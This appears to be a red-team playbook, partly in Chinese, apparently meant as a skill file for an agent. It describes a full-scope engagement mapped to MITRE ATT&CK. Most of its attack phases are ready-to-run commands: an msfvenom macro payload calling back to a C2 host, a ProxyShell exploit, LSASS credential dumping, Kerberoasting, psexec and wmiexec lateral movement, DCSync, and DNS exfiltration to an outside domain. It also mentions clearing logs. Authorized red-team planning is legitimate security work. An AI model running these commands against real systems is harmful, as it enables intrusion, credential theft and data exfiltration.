Conducting Full Scope Red Team Engagement

TL;DR

• 目的：Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and pos…
• 适用：AD/网络/红队场景（项目全量测试）
• 输入：授权测试环境 + 攻击链场景
• 输出：渗透证据链 + 复现步骤
• 红线：仅 A 模式项目全量测试，B 模式禁用；禁止未授权使用
• 关联：上游：003-src-session-start → 下游：092-conducting-internal-network-penetration-test, 078-conducting-cloud-penetration-testing, 090-conducting-domain-persistence-with-dcsync

Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

• When conducting security assessments that involve conducting full scope red team engagement
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization (Rules of Engagement document) signed by executive leadership
• Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
• Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
• Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
• Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com

Phase 5: Objective Achievement

Define and pursue specific objectives:

1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
4. Physical Access: Badge cloning, tailgating, server room access

# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

1. Executive Summary: Business impact, risk rating, key findings
2. Attack Narrative: Timeline of activities with screenshots and evidence
3. MITRE ATT&CK Mapping: Full heat map of techniques used
4. Findings: Each finding with CVSS score, evidence, remediation
5. Detection Gap Analysis: What the SOC detected vs. what was missed
6. Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

Tools & Systems

• C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
• Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
• Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
• Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
• Reporting: PlexTrac, Ghostwriter, Serpico

References

• MITRE ATT&CK Framework: https://attack.mitre.org/
• Red Team Guide: https://redteam.guide/
• PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
• TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
• CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity

Output Format

{
  "attack_path": "<chain summary>",
  "steps": [
    {"step": 1, "action": "<technique>", "tool": "<tool>", "result": "<outcome>"},
    ...
  ],
  "evidence": "<log/screenshot path>",
  "impact": "<DA/Admin/DC compromise / credential dump / etc>",
  "cleanup": "<artifact removal checklist>"
}

Save to share/intel/findings/<target>-<ad-<timestamp>.md.

Tools & Systems

• BloodHound — AD attack path graph
• Impacket — Python AD exploitation toolkit
• CrackMapExec — AD/SMB enumeration & exploitation
• Certipy — AD CS exploitation
• NetExec — Modern CrackMapExec fork
• evilginx2 — AiTM credential harvesting
• Mimikatz — Windows credential extraction

All tools require prior 002-src-session-start confirmation for A mode. B mode禁用所有攻击工具。

Workflow

1. Recon — BloodHound collection via SharpHound or bloodhound-python
2. Path analysis — Identify shortest path to DA via BloodHound UI
3. Initial access — Phishing (evilginx) or valid creds (compromised)
4. Lateral movement — CrackMapExec / Impacket / NetExec across hosts
5. Privilege escalation — ADCS, Kerberoast, Shadow Credentials, etc.
6. DA/DC compromise — DCSync or mimikatz sekurlsa::logonpasswords
7. Cleanup — Remove artifacts, clear logs (if authorized)